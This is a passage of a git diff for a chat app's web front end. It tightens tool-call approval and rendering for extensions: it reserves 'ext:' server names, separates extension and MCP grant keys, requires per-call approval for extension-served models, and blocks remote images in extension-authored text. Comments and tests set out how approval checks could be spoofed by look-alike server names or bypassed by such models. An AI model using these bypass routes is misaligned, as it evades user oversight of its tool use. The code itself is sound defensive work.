+ expect(container.querySelector('img')?.getAttribute('src')).toMatch(
+ /^data:image\/png/
+ )
+ })
+
+ it('loads remote images when the content is not extension-authored', () => {
+ const { container } = render(
+ <RenderMarkdown content={'![pixel](https://example.com/p.png)'} />
+ )
+ expect(container.querySelector('img')).toBeTruthy()
+ })
+ })
+})
diff --git a/web-app/src/containers/dialogs/AddEditMCPServer.tsx b/web-app/src/containers/dialogs/AddEditMCPServer.tsx
index c8c9a77b7..f4dc769e0 100644
--- a/web-app/src/containers/dialogs/AddEditMCPServer.tsx
+++ b/web-app/src/containers/dialogs/AddEditMCPServer.tsx
@@ -15,7 +15,10 @@ import {
IconGripVertical,
IconCodeDots,
} from '@tabler/icons-react'
-import { MCPServerConfig } from '@/hooks/useMCPServers'
+import {
+ MCPServerConfig,
+ isReservedServerName,
+} from '@/hooks/useMCPServers'
import { useTranslation } from '@/i18n/react-i18next-compat'
import {
DndContext,
@@ -298,6 +301,10 @@ export default function AddEditMCPServer({
setError(t('mcp-servers:editJson.errorServerName'))
return
}
+ if (isReservedServerName(trimmedServerName)) {
+ setError(t('mcp-servers:editJson.errorReservedServerName'))
+ return
+ }
// Validate the config object
const serverConfig = config as MCPServerConfig
@@ -329,6 +336,10 @@ export default function AddEditMCPServer({
}
// Handle form mode
+ if (isReservedServerName(serverName)) {
+ setError(t('mcp-servers:editJson.errorReservedServerName'))
+ return
+ }
// Convert env arrays to object
const envObj: Record<string, string> = {}
envKeys.forEach((key, index) => {
@@ -441,10 +452,14 @@ export default function AddEditMCPServer({
</label>
<Input
value={serverName}
- onChange={(e) => setServerName(e.target.value)}
+ onChange={(e) => {
+ setServerName(e.target.value)
+ setError(null)
+ }}
placeholder={t('mcp-servers:enterServerName')}
autoFocus
/>
+ {error && <div className="text-destructive text-sm">{error}</div>}
</div>
<div className="space-y-2">
diff --git a/web-app/src/containers/dialogs/__tests__/AddEditMCPServer.test.tsx b/web-app/src/containers/dialogs/__tests__/AddEditMCPServer.test.tsx
index cb9d369ca..bc2dbaa92 100644
--- a/web-app/src/containers/dialogs/__tests__/AddEditMCPServer.test.tsx
+++ b/web-app/src/containers/dialogs/__tests__/AddEditMCPServer.test.tsx
@@ -198,6 +198,43 @@ describe('AddEditMCPServer', () => {
expect(props.onOpenChange).toHaveBeenCalledWith(false)
})
+ // `ext:` names are extensions' tool servers; an MCP server under one could
+ // be mistaken for an extension wherever tools are listed by server.
+ it('refuses a server name starting with ext: (form mode)', () => {
+ const props = baseProps()
+ render(<AddEditMCPServer {...props} />)
+ fireEvent.change(
+ screen.getByPlaceholderText('mcp-servers:enterServerName'),
+ { target: { value: 'ext:foo' } }
+ )
+ fireEvent.change(
+ screen.getByPlaceholderText('mcp-servers:enterCommand'),
+ { target: { value: 'node' } }
+ )
+ fireEvent.click(screen.getByText('mcp-servers:save'))
+ expect(props.onSave).not.toHaveBeenCalled()
+ expect(props.onOpenChange).not.toHaveBeenCalled()
+ expect(
+ screen.getByText('mcp-servers:editJson.errorReservedServerName')
+ ).toBeInTheDocument()
+ })
+
+ it('refuses a server name starting with ext: (JSON mode)', () => {
+ const props = baseProps()
+ render(<AddEditMCPServer {...props} />)
+ fireEvent.click(document.querySelector('[title="Add server by JSON"]')!)
+ fireEvent.change(screen.getByTestId('code-editor'), {
+ target: {
+ value: JSON.stringify({ ' ext:foo': { command: 'c', type: 'stdio' } }),
+ },
+ })
+ fireEvent.click(screen.getByText('mcp-servers:save'))
+ expect(props.onSave).not.toHaveBeenCalled()
+ expect(
+ screen.getByText('mcp-servers:editJson.errorReservedServerName')
+ ).toBeInTheDocument()
+ })
+
it('rejects JSON where a server declares an invalid transport type', () => {
const props = baseProps()
render(<AddEditMCPServer {...props} />)
diff --git a/web-app/src/containers/extensions/HostedExtensionCard.tsx b/web-app/src/containers/extensions/HostedExtensionCard.tsx
index 2c700bf28..4a26788fd 100644
--- a/web-app/src/containers/extensions/HostedExtensionCard.tsx
+++ b/web-app/src/containers/extensions/HostedExtensionCard.tsx
@@ -2,7 +2,6 @@ import type { ReactNode } from 'react'
import { toast } from 'sonner'
import { Button } from '@/components/ui/button'
import { Card } from '@/containers/Card'
-import { RenderMarkdown } from '@/containers/RenderMarkdown'
import { useTranslation } from '@/i18n/react-i18next-compat'
import { useLocalize } from '@/lib/extensions/l10n'
import { getExtensionHost, type HostedExtension } from '@/lib/extensions/host'
@@ -18,14 +17,16 @@ function Version({ version }: { version: string }) {
)
}
+/**
+ * Plain text on purpose: the description is authored by the extension, and
+ * markdown would let it load a remote image (the app's img-src allows any
+ * https host) as soon as this page opens, outside its network grants.
+ */
function Description({ content }: { content: string }) {
return (
- <RenderMarkdown
- content={content}
- components={{
- p: ({ ...props }) => <p {...props} className="mb-0!" />,
- }}
- />
+ <p className="text-sm text-muted-foreground whitespace-pre-line wrap-break-word">
+ {content}
+ </p>
)
}
diff --git a/web-app/src/containers/message/ToolCallCard.tsx b/web-app/src/containers/message/ToolCallCard.tsx
index 4a5f56a00..2154b187d 100644
--- a/web-app/src/containers/message/ToolCallCard.tsx
+++ b/web-app/src/containers/message/ToolCallCard.tsx
@@ -17,6 +17,8 @@ import { RagToolWidget } from './RagToolWidget'
import { WebToolWidget } from './WebToolWidget'
import { AgentToolWidget, TerminalWidget } from './AgentToolWidget'
import { SubagentToolWidget } from './SubagentToolWidget'
+import { isExtensionToolName } from '@/lib/extensions/tools'
+import { withRemoteImages } from '@/lib/extensions/remoteImages'
export type ToolCallCardProps = {
part: MessagePartLike
@@ -77,7 +79,9 @@ export const ToolCallCard = memo(
const showBar =
bar && (bar.variant !== 'subagent' || isToolRunning(part.state))
- return (
+ // A contributed tool's output is its extension's text: any citation in it
+ // must not fetch favicons, in any message.
+ const card = (
<Tool
state={part.state}
toolCallId={part.toolCallId}
@@ -156,6 +160,7 @@ export const ToolCallCard = memo(
</ToolContent>
</Tool>
)
+ return isExtensionToolName(toolName) ? withRemoteImages(false, card) : card
}
)
diff --git a/web-app/src/containers/message/WebToolWidget.tsx b/web-app/src/containers/message/WebToolWidget.tsx
index 36a3ead63..b3374df96 100644
--- a/web-app/src/containers/message/WebToolWidget.tsx
+++ b/web-app/src/containers/message/WebToolWidget.tsx
@@ -12,14 +12,20 @@ import {
import { faviconForUrl, hostOf } from '@/lib/webUrl'
import { ToolBar } from './ToolBar'
import { ExternalAnchor } from '@/components/ExternalAnchor'
+import { useRemoteImagesAllowed } from '@/lib/extensions/remoteImages'
-const Favicon = ({ url }: { url: string }) => (
- <img
- src={faviconForUrl(url)}
- alt=""
- className="size-4 shrink-0 rounded-full border border-border/60 bg-white object-contain"
- />
-)
+// The favicon service is asked about the URL's host, so in a message an
+// extension authored even the address being typed would reach the network.
+const Favicon = ({ url }: { url: string }) =>
+ useRemoteImagesAllowed() ? (
+ <img
+ src={faviconForUrl(url)}
+ alt=""
+ className="size-4 shrink-0 rounded-full border border-border/60 bg-white object-contain"
+ />
+ ) : (
+ <GlobeIcon className="size-4 shrink-0 text-muted-foreground" />
+ )
const ResultRow = ({
url,
diff --git a/web-app/src/hooks/__tests__/useMCPServers.test.ts b/web-app/src/hooks/__tests__/useMCPServers.test.ts
index 9a75171d8..15d3c7258 100644
--- a/web-app/src/hooks/__tests__/useMCPServers.test.ts
+++ b/web-app/src/hooks/__tests__/useMCPServers.test.ts
@@ -82,6 +82,28 @@ describe('useMCPServers', () => {
})
})
+ // The settings page's whole-config JSON editor and a rename both reach the
+ // store without the dialog's name check.
+ describe('ext: server names', () => {
+ it('refuses to add a server named like an extension', () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ const { result } = renderHook(() => useMCPServers())
+ act(() => { result.current.addServer('ext:foo', makeConfig()) })
+ expect(result.current.mcpServers).toEqual({})
+ expect(warn).toHaveBeenCalled()
+ warn.mockRestore()
+ })
+
+ it('refuses to rename a server to an extension name', () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ const { result } = renderHook(() => useMCPServers())
+ act(() => { result.current.addServer('srv', makeConfig()) })
+ act(() => { result.current.renameServer('srv', 'ext:foo', makeConfig()) })
+ expect(Object.keys(result.current.mcpServers)).toEqual(['srv'])
+ warn.mockRestore()
+ })
+ })
+
describe('editServer', () => {
it('should edit existing server and preserve untouched properties', () => {
const { result } = renderHook(() => useMCPServers())
diff --git a/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts b/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts
index 3974758b0..f125e7f7f 100644
--- a/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts
+++ b/web-app/src/hooks/__tests__/useToolApprovalRequests.test.ts
@@ -2,6 +2,12 @@ import { describe, it, expect, beforeEach, vi } from 'vitest'
import { renderHook, act } from '@testing-library/react'
import { useToolApprovalRequests } from '../useToolApprovalRequests'
import { useToolApproval } from '../useToolApproval'
+import { toolWireName } from '@/lib/extensions/tools'
+
+// Real wire names, so a name shape can never pass for the origin flag.
+const X = toolWireName('acme.one', 'x_tool')
+const Y = toolWireName('acme.one', 'y_tool')
+const EXT = { origin: 'extension' } as const
// useToolApproval persists via backendStorage; stub the persist layer so the
// import is inert and no disk I/O happens in tests.
@@ -56,6 +62,34 @@ describe('useToolApprovalRequests', () => {
expect(result.current.pending['tc1']).toBeUndefined()
})
+ // janhq/jan-internal#517: a call the model an extension serves made to a
+ // built-in tool. Neither the MCP shortcut nor a grant saved on an ordinary
+ // turn may answer it: the user has to see that this model wants the tool.
+ it('asks for a strict request whatever the shortcuts and saved grants say', async () => {
+ useToolApproval.setState({ allowAllMCPPermissions: true })
+ act(() => {
+ useToolApproval.getState().approveToolForThread('thread-1', 'web_fetch')
+ useToolApproval.getState().approveToolEverywhere('web_fetch')
+ })
+ const { result } = renderHook(() => useToolApprovalRequests())
+ let p: Promise<boolean>
+ act(() => {
+ p = result.current.requestApproval('tc1', 'web_fetch', 'thread-1', undefined, {
+ strict: true,
+ })
+ })
+ expect(result.current.pending['tc1']).toBeDefined()
+ // Only this call: a strict approval is never saved as a grant.
+ act(() => result.current.resolveApproval('tc1', 'allow-always'))
+ await expect(p!).resolves.toBe(true)
+ act(() => {
+ result.current.requestApproval('tc2', 'web_fetch', 'thread-1', undefined, {
+ strict: true,
+ })
+ })
+ expect(result.current.pending['tc2']).toBeDefined()
+ })
+
it('auto-resolves true (no pending) when the tool is already approved for the thread', async () => {
act(() => {
useToolApproval.getState().approveToolForThread('thread-1', 'tool-a')
@@ -224,7 +258,7 @@ describe('useToolApprovalRequests', () => {
useToolApproval.setState({ allowAllMCPPermissions: true })
const { result } = renderHook(() => useToolApprovalRequests())
act(() => {
- result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'ext:acme.one')
+ result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
})
expect(result.current.pending['tc1']).toBeDefined()
})
@@ -233,21 +267,134 @@ describe('useToolApprovalRequests', () => {
const { result } = renderHook(() => useToolApprovalRequests())
let p: Promise<boolean>
act(() => {
- p = result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'ext:acme.one')
+ p = result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
})
act(() => result.current.resolveApproval('tc1', 'allow-thread'))
await expect(p!).resolves.toBe(true)
// The same tool name from another extension, or from an MCP server, asks.
act(() => {
- result.current.requestApproval('tc2', 'x_tool', 'thread-1', 'ext:acme.two')
- result.current.requestApproval('tc3', 'x_tool', 'thread-1', 'mcp-server')
- result.current.requestApproval('tc4', 'x_tool', 'thread-1')
+ result.current.requestApproval('tc2', X, 'thread-1', 'ext:acme.two', EXT)
+ result.current.requestApproval('tc3', X, 'thread-1', 'mcp-server')
+ result.current.requestApproval('tc4', X, 'thread-1')
})
expect(Object.keys(result.current.pending).sort()).toEqual(['tc2', 'tc3', 'tc4'])
// The extension that was approved is not asked again.
let again: Promise<boolean>
act(() => {
- again = result.current.requestApproval('tc5', 'x_tool', 'thread-1', 'ext:acme.one')
+ again = result.current.requestApproval('tc5', X, 'thread-1', 'ext:acme.one', EXT)
+ })
+ await expect(again!).resolves.toBe(true)
+ })
+
+ it('keeps an extension approval away from an MCP tool spelling its key', async () => {
+ const { result } = renderHook(() => useToolApprovalRequests())
+ let p: Promise<boolean>
+ act(() => {
+ p = result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
+ })
+ act(() => result.current.resolveApproval('tc1', 'allow-thread'))
+ await expect(p!).resolves.toBe(true)
+ // An MCP tool whose literal name is the extension tool's approval key.
+ act(() => {
+ result.current.requestApproval('tc2', `ext:acme.one/${X}`, 'thread-1', 'mcp-server')
+ })
+ expect(Object.keys(result.current.pending)).toEqual(['tc2'])
+ })
+
+ // The user names MCP servers; one called `ext:<id>` must stay an MCP server.
+ it('treats an MCP server named like an extension as MCP', async () => {
+ const { result } = renderHook(() => useToolApprovalRequests())
+ let p: Promise<boolean>
+ act(() => {
+ p = result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
+ })
+ act(() => result.current.resolveApproval('tc1', 'allow-thread'))
+ await expect(p!).resolves.toBe(true)
+ act(() => {
+ result.current.requestApproval('tc2', 'x_tool', 'thread-1', 'ext:acme.one')
+ })
+ expect(Object.keys(result.current.pending)).toEqual(['tc2'])
+ act(() => result.current.resolveApproval('tc2', 'allow-always'))
+ // No server-wide trust for an ext: name: it would cover the real
+ // extension's tools. The grant is for this one MCP tool.
+ expect(useToolApproval.getState().approvedServers).toEqual([])
+ expect(useToolApproval.getState().approvedToolsGlobal).toEqual([
+ 'mcp:ext:acme.one/x_tool',
+ ])
+ act(() => {
+ result.current.requestApproval('tc3', X, 'thread-2', 'ext:acme.one', EXT)
+ result.current.requestApproval('tc4', Y, 'thread-2', 'ext:acme.one', EXT)
+ })
+ expect(Object.keys(result.current.pending)).toEqual(['tc3', 'tc4'])
+ })
+
+ // Name shape is no proof of origin: an MCP server the user called
+ // `ext:acme.one` can expose a tool with the extension's exact wire name.
+ describe('an MCP tool spelling an extension tool exactly', () => {
+ const MCP = { origin: 'mcp' } as const
+
+ it.each(['allow-thread', 'allow-always'] as const)(
+ 'does not share the extension tool %s grant',
+ async (decision) => {
+ const { result } = renderHook(() => useToolApprovalRequests())
+ let p: Promise<boolean>
+ act(() => {
+ p = result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
+ })
+ act(() => result.current.resolveApproval('tc1', decision))
+ await expect(p!).resolves.toBe(true)
+ act(() => {
+ result.current.requestApproval('tc2', X, 'thread-1', 'ext:acme.one', MCP)
+ result.current.requestApproval('tc3', X, 'thread-1', 'ext:acme.one')
+ })
+ expect(Object.keys(result.current.pending).sort()).toEqual(['tc2', 'tc3'])
+ }
+ )
+
+ it.each(['allow-thread', 'allow-always'] as const)(
+ 'does not hand its %s grant to the extension tool',
+ async (decision) => {
+ const { result } = renderHook(() => useToolApprovalRequests())
+ let p: Promise<boolean>
+ act(() => {
+ p = result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', MCP)
+ })
+ act(() => result.current.resolveApproval('tc1', decision))
+ await expect(p!).resolves.toBe(true)
+ expect(useToolApproval.getState().approvedServers).toEqual([])
+ act(() => {
+ result.current.requestApproval('tc2', X, 'thread-1', 'ext:acme.one', EXT)
+ })
+ expect(Object.keys(result.current.pending)).toEqual(['tc2'])
+ }
+ )
+ })
+
+ // A build that saved server trust for an ext: name must not keep it working.
+ it('ignores a saved server trust for an ext: name', () => {
+ useToolApproval.setState({ approvedServers: ['ext:acme.one'] })
+ const { result } = renderHook(() => useToolApprovalRequests())
+ act(() => {
+ result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
+ })
+ expect(Object.keys(result.current.pending)).toEqual(['tc1'])
+ })
+
+ it('keeps an MCP allow-thread approval with the server that got it', async () => {
+ const { result } = renderHook(() => useToolApprovalRequests())
+ let p: Promise<boolean>
+ act(() => {
+ p = result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'server-a')
+ })
+ act(() => result.current.resolveApproval('tc1', 'allow-thread'))
+ await expect(p!).resolves.toBe(true)
+ act(() => {
+ result.current.requestApproval('tc2', 'x_tool', 'thread-1', 'server-b')
+ })
+ expect(Object.keys(result.current.pending)).toEqual(['tc2'])
+ let again: Promise<boolean>
+ act(() => {
+ again = result.current.requestApproval('tc3', 'x_tool', 'thread-1', 'server-a')
})
await expect(again!).resolves.toBe(true)
})
@@ -256,20 +403,20 @@ describe('useToolApprovalRequests', () => {
const { result } = renderHook(() => useToolApprovalRequests())
let p: Promise<boolean>
act(() => {
- p = result.current.requestApproval('tc1', 'x_tool', 'thread-1', 'ext:acme.one')
+ p = result.current.requestApproval('tc1', X, 'thread-1', 'ext:acme.one', EXT)
})
act(() => result.current.resolveApproval('tc1', 'allow-always'))
await expect(p!).resolves.toBe(true)
expect(useToolApproval.getState().approvedServers).toEqual([])
// Another tool of the same extension (one an update added, say) asks.
act(() => {
- result.current.requestApproval('tc2', 'y_tool', 'thread-1', 'ext:acme.one')
+ result.current.requestApproval('tc2', Y, 'thread-1', 'ext:acme.one', EXT)
})
expect(Object.keys(result.current.pending)).toEqual(['tc2'])
// The approved tool runs without asking, in any thread.
let again: Promise<boolean>
act(() => {
- again = result.current.requestApproval('tc3', 'x_tool', 'thread-2', 'ext:acme.one')
+ again = result.current.requestApproval('tc3', X, 'thread-2', 'ext:acme.one', EXT)
})
await expect(again!).resolves.toBe(true)
})
diff --git a/web-app/src/hooks/useMCPServers.ts b/web-app/src/hooks/useMCPServers.ts
index 09c66caad..be13f62b1 100644
--- a/web-app/src/hooks/useMCPServers.ts
+++ b/web-app/src/hooks/useMCPServers.ts
@@ -1,5 +1,6 @@
import { create } from 'zustand'
import { getServiceHub } from '@/hooks/useServiceHub'
+import { EXTENSION_SERVER_PREFIX } from '@/lib/extensions/tools'
// Define the structure of an MCP server configuration
export type MCPServerConfig = {
@@ -76,6 +77,21 @@ type MCPServerStoreState = {
syncServersAndRestart: () => Promise<void>
}
+/**
+ * `ext:` names belong to extensions' tool servers. An MCP server under one
+ * could be taken for that extension wherever tools are shown or trusted by
+ * server, so the dialog refuses such names and the store, which the JSON
+ * editors and rename reach directly, drops them too.
+ */
+export const isReservedServerName = (name: string): boolean =>
+ name.trim().startsWith(EXTENSION_SERVER_PREFIX)
+
+const refusedName = (name: string): boolean => {
+ if (!isReservedServerName(name)) return false
+ console.warn(`MCP server name "${name}" is reserved for extensions`)
+ return true
+}
+
export const useMCPServers = create<MCPServerStoreState>()((set, get) => ({
open: true,
mcpServers: {}, // Start with empty object
@@ -91,6 +107,7 @@ export const useMCPServers = create<MCPServerStoreState>()((set, get) => ({
// Add a new MCP server or update if the key already exists
addServer: (key, config) =>
set((state) => {
+ if (refusedName(key)) return state
// Remove the key first if it exists to maintain insertion order
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const { [key]: _, ...restServers } = state.mcpServers
@@ -113,6 +130,7 @@ export const useMCPServers = create<MCPServerStoreState>()((set, get) => ({
set((state) => {
// Only proceed if the server exists
if (!state.mcpServers[oldKey]) return state
+ if (refusedName(newKey)) return state
const entries = Object.entries(state.mcpServers)
const mcpServers: MCPServers = {}
diff --git a/web-app/src/hooks/useToolApproval.ts b/web-app/src/hooks/useToolApproval.ts
index cc2104da4..6574baf5e 100644
--- a/web-app/src/hooks/useToolApproval.ts
+++ b/web-app/src/hooks/useToolApproval.ts
@@ -2,6 +2,7 @@ import { create } from 'zustand'
import { persist, createJSONStorage } from 'zustand/middleware'
import { localStorageKey } from '@/constants/localStorage'
import { backendStorage } from '@/lib/backendStorage'
+import { EXTENSION_SERVER_PREFIX } from '@/lib/extensions/tools'
type ToolApprovalState = {
/** threadId -> tool names trusted for that conversation only. */
@@ -66,7 +67,13 @@ export const useToolApproval = create<ToolApprovalState>()(
) => {
const state = get()
if (state.approvedToolsGlobal.includes(toolName)) return true
- if (serverName && state.approvedServers.includes(serverName)) {
+ // Never for an ext: name, even one an older build saved: it would
+ // cover every tool that extension has or later adds.
+ if (
+ serverName &&
+ !serverName.startsWith(EXTENSION_SERVER_PREFIX) &&
+ state.approvedServers.includes(serverName)
+ ) {
return true
}
return state.approvedTools[threadId]?.includes(toolName) || false
diff --git a/web-app/src/hooks/useToolApprovalRequests.ts b/web-app/src/hooks/useToolApprovalRequests.ts
index d1704b7ab..eb944804a 100644
--- a/web-app/src/hooks/useToolApprovalRequests.ts
+++ b/web-app/src/hooks/useToolApprovalRequests.ts
@@ -8,9 +8,31 @@ export type PendingApproval = {
threadId: string
/** MCP server the tool belongs to, so the prompt can offer to trust it. */
serverName?: string
+ /** Asked for this call alone; see `ApprovalOptions.strict`. */
+ strict?: boolean
+ /** See `ApprovalOptions.origin`. */
+ extension: boolean
resolve: (approved: boolean) => void
}
+export type ApprovalOptions = {
+ /**
+ * Ask, whatever "allow all MCP" or a saved grant says, and save no grant
+ * from the answer. For a call made by a model an extension serves
+ * (janhq/jan-internal#517): grants were given to the user's own models,
+ * and must not cover one that can send the extension's data anywhere.
+ */
+ strict?: boolean
+ /**
+ * Who serves the tool, as the caller resolved it. Only the caller can
+ * know: an MCP server the user named `ext:<id>` can expose a tool with
+ * the extension's exact wire name, so neither name tells them apart.
+ * Absent means MCP, so nothing is ever let in as an extension's by
+ * accident.
+ */
+ origin?: 'extension' | 'mcp'
+}
+
/**
* Scope of the grant. `allow-always` trusts the tool's whole server when it has
* one, since trusting a server tool-by-tool is the same decision repeated.
@@ -31,42 +53,50 @@ type ToolApprovalRequestsState = {
toolCallId: string,
toolName: string,
threadId: string,
- serverName?: string
+ serverName?: string,
+ options?: ApprovalOptions
) => Promise<boolean>
resolveApproval: (toolCallId: string, decision: ApprovalDecision) => void
clearPendingForThread: (threadId: string) => void
}
/**
- * The name a grant is recorded under. A contributed tool is keyed by its
- * `ext:<id>` server as well, so a thread or global grant can never cover
- * a same-named tool of another extension or of an MCP server.
+ * The name a grant is recorded under. A tool with a server is keyed by it
+ * as well, so a grant can never cover a same-named tool of another
+ * extension or MCP server. Extension and MCP tools get separate namespaces
+ * (`ext:` and `mcp:`) chosen by origin, so neither can spell the other's
+ * key whatever the server or tool is called.
*/
-const approvalKey = (toolName: string, serverName?: string) =>
- isExtensionServer(serverName) ? `${serverName}/${toolName}` : toolName
-
-const isExtensionServer = (serverName?: string): serverName is string =>
- serverName?.startsWith(EXTENSION_SERVER_PREFIX) ?? false
+const approvalKey = (
+ toolName: string,
+ serverName: string | undefined,
+ extension: boolean
+) => {
+ if (!serverName) return toolName
+ return extension
+ ? `${serverName}/${toolName}`
+ : `mcp:${serverName}/${toolName}`
+}
export const useToolApprovalRequests = create<ToolApprovalRequestsState>()(
(set, get) => ({
pending: {},
- requestApproval: (toolCallId, toolName, threadId, serverName) => {
+ requestApproval: (toolCallId, toolName, threadId, serverName, options) => {
+ const strict = options?.strict ?? false
+ const extension = options?.origin === 'extension'
return new Promise<boolean>((resolve) => {
const settings = useToolApproval.getState()
// The shortcut is for MCP; extension tools always go through approval.
- if (
- settings.allowAllMCPPermissions &&
- !isExtensionServer(serverName)
- ) {
+ if (!strict && settings.allowAllMCPPermissions && !extension) {
resolve(true)
return
}
if (
+ !strict &&
settings.isToolApproved(
threadId,
- approvalKey(toolName, serverName),
+ approvalKey(toolName, serverName, extension),
serverName
)
) {
@@ -81,6 +111,8 @@ export const useToolApprovalRequests = create<ToolApprovalRequestsState>()(
toolName,
threadId,
serverName,
+ strict,
+ extension,
resolve,
},
},
@@ -92,13 +124,25 @@ export const useToolApprovalRequests = create<ToolApprovalRequestsState>()(
const entry = get().pending[toolCallId]
if (!entry) return
const approval = useToolApproval.getState()
- const key = approvalKey(entry.toolName, entry.serverName)
- if (decision === 'allow-thread') {
+ const key = approvalKey(
+ entry.toolName,
+ entry.serverName,
+ entry.extension
+ )
+ if (entry.strict) {
+ // Answers this call only; nothing is saved.
+ } else if (decision === 'allow-thread') {
approval.approveToolForThread(entry.threadId, key)
} else if (decision === 'allow-always') {
// An MCP server is trusted whole. An extension is not: an update can
- // add tools, and those must ask before they first run.
- if (entry.serverName && !isExtensionServer(entry.serverName)) {
+ // add tools, and those must ask before they first run. An MCP server
+ // the user named `ext:<id>` is not trusted whole either: that trust
+ // would also cover the real extension <id>'s tools.
+ if (
+ entry.serverName &&
+ !entry.serverName.startsWith(EXTENSION_SERVER_PREFIX) &&
+ !entry.extension
+ ) {
approval.approveServer(entry.serverName)
} else {
approval.approveToolEverywhere(key)
diff --git a/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts
index 36d8887f8..babf287cc 100644
--- a/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts
+++ b/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts
@@ -5,6 +5,8 @@ import type * as ProviderCaps from '@/lib/providerCaps'
// Capture every streamText({...}) call so we can compare the prompt prefix
// (system + tools + prior model messages) across consecutive turns.
const streamTextCalls: Array<Record<string, unknown>> = []
+// What each request stamps on its reply's start part.
+const startMetadata: unknown[] = []
const h = vi.hoisted(() => ({
disabledTools: [] as string[],
@@ -37,12 +39,18 @@ vi.mock('ai', async () => {
streamText: (args: Record<string, unknown>) => {
streamTextCalls.push(args)
return {
- toUIMessageStream: () =>
- new ReadableStream({
+ toUIMessageStream: (opts?: {
+ messageMetadata?: (o: { part: { type: string } }) => unknown
+ }) => {
+ startMetadata.push(
+ opts?.messageMetadata?.({ part: { type: 'start' } })
+ )
+ return new ReadableStream({
start(controller) {
controller.close()
},
- }),
+ })
+ },
}
},
}
@@ -362,6 +370,23 @@ describe('CustomChatTransport assistant completion (continuation prefill)', () =
)
})
+ // The continued reply replaces the stopped one, so it has to keep that
+ // reply's author even when it now runs on a built-in model.
+ it('stamps the continued reply with the partial reply author', async () => {
+ const transport = new CustomChatTransport('you are jan', 'thread-1')
+ startMetadata.length = 0
+ transport.setContinueFromContent({
+ text: 'Roses are red,',
+ extensionAuthor: 'acme.provider',
+ })
+ await drain(await send(transport, history))
+ await drain(await send(transport, history))
+ expect(startMetadata).toEqual([
+ { extensionAuthor: 'acme.provider' },
+ undefined,
+ ])
+ })
+
it('consumes the prefill once (next send appends nothing)', async () => {
const transport = new CustomChatTransport('you are jan', 'thread-1')
diff --git a/web-app/src/lib/__tests__/stepMetadata.test.ts b/web-app/src/lib/__tests__/stepMetadata.test.ts
index 93bc07c6f..ca91667b3 100644
--- a/web-app/src/lib/__tests__/stepMetadata.test.ts
+++ b/web-app/src/lib/__tests__/stepMetadata.test.ts
@@ -75,6 +75,27 @@ describe('createStepMetadata', () => {
expect(out?.usage.totalTokens).toBe(40)
})
+ // An extension provider's reply must carry its author before the first
+ // token renders, and keep it on the finished message that gets persisted.
+ it('stamps the given fields on the start part and on the finish', () => {
+ withClock()
+ const meta = createStepMetadata({ extensionAuthor: 'acme.provider' })
+ expect(meta.onPart({ type: 'start' })).toEqual({
+ extensionAuthor: 'acme.provider',
+ })
+ expect(meta.onPart({ type: 'text-start' })).toBeUndefined()
+ const out = meta.onPart(finish({ outputTokens: 1, totalTokens: 1 }))
+ expect(out).toMatchObject({
+ extensionAuthor: 'acme.provider',
+ finishReason: 'stop',
+ })
+ })
+
+ it('stamps nothing on the start part without fields', () => {
+ const meta = createStepMetadata()
+ expect(meta.onPart({ type: 'start' })).toBeUndefined()
+ })
+
it('stamps nothing until the step finishes', () => {
withClock()
const meta = createStepMetadata()
diff --git a/web-app/src/lib/coworkModelControls.ts b/web-app/src/lib/coworkModelControls.ts
index eb9a0823c..48a0db426 100644
--- a/web-app/src/lib/coworkModelControls.ts
+++ b/web-app/src/lib/coworkModelControls.ts
@@ -4,6 +4,17 @@ import { useCoworkRun } from '@/hooks/useCoworkRun'
import type { ModelsService } from '@/services/models/types'
import { getLocalPropsExtension, readCtxLen } from '@/lib/llamacppRouterProps'
+/**
+ * Whether Cowork may run on `provider`. Not on one an extension contributed:
+ * Cowork has no per-call approval (its shell has network access, its web and
+ * MCP tools run unprompted), so a model the extension serves could reach any
+ * host its `network:` grants leave out. Chat, which asks first, still offers
+ * such providers.
+ */
+export const coworkAllowsProvider = (
+ provider: Pick<ModelProvider, 'source'> | undefined
+): boolean => !provider?.source
+
export function coworkLocalModel(
provider: ModelProvider | undefined,
modelId: string | undefined
diff --git a/web-app/src/lib/custom-chat-transport.ts b/web-app/src/lib/custom-chat-transport.ts
index ea82454f9..8d63e70a3 100644
--- a/web-app/src/lib/custom-chat-transport.ts
+++ b/web-app/src/lib/custom-chat-transport.ts
@@ -48,6 +48,7 @@ import { useAppState, type ModelLoadProgress } from '@/hooks/useAppState'
import { unloadLlamaModel, getLoadedModels } from '@janhq/tauri-plugin-llamacpp-api'
import { engineFailure } from '@/lib/engineError'
import { getExtensionHost } from '@/lib/extensions/host'
+import { extensionAuthorMetadata } from '@/lib/extensions/authorship'
import { getLlamacppExtension } from '@/lib/llamacppRouterProps'
import {
tokensForThinkingBudgetLevel,
@@ -97,7 +98,13 @@ export type ModelSelection = {
selectedModel: Model | null
}
/** Partial assistant output replayed as a prefill to resume a stopped turn. */
-export type ContinuationContent = { text?: string; reasoning?: string }
+export type ContinuationContent = {
+ text?: string
+ reasoning?: string
+ /** The extension that wrote the stopped reply, if one did: the continued
+ * reply replaces it and must keep its author (see extensions/authorship). */
+ extensionAuthor?: string
+}
export type ServiceHub = {
rag(): {
getTools(): Promise<
@@ -1691,7 +1698,14 @@ export class CustomChatTransport implements ChatTransport<UIMessage> {
},
})
- const stepMetadata = createStepMetadata()
+ // A reply from an extension's provider names its author from the first
+ // chunk, so it never renders a remote image (see extensions/authorship).
+ // So does one continuing such a reply, whatever model it runs on now.
